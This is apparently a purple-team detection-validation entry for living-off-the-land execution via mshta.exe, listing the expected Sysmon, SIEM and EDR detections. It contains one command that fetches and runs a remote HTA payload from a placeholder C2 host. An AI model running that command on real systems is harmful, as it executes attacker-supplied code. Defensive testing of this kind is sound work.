mshta.exe test

mshta.exe http://<c2>/payload.hta

Executes an HTA payload with mshta on the test host, validating detection of the abuse of the legitimate binary to execute code.

Run it in the purple team lab when you want to validate detection of execution via mshta: the command executes the remote HTA (the legitimate Windows binary used by actors to execute code) and the team checks what was detected — Sysmon Event 1 (mshta with the URL), SIEM rules (mshta executing remote HTA), the EDR. It's the validation of living off the land in execution: the legitimate binary that signatures don't see. In purple teaming, mshta validates the behavioral layer of HTA execution.

Do not run it outside the lab: executing the HTA generates real activity — the test host is the place. And note: mshta is deprecated in Windows 11 (removed in recent versions): the validation covers legacy environments; in modern ones, the atomic fails (the tool doesn't exist) — the equivalent variant is validated separately. Detection relies on arguments (mshta with remote URL) and context; validation measures those layers. Cleanup of the downloaded HTA upon completion.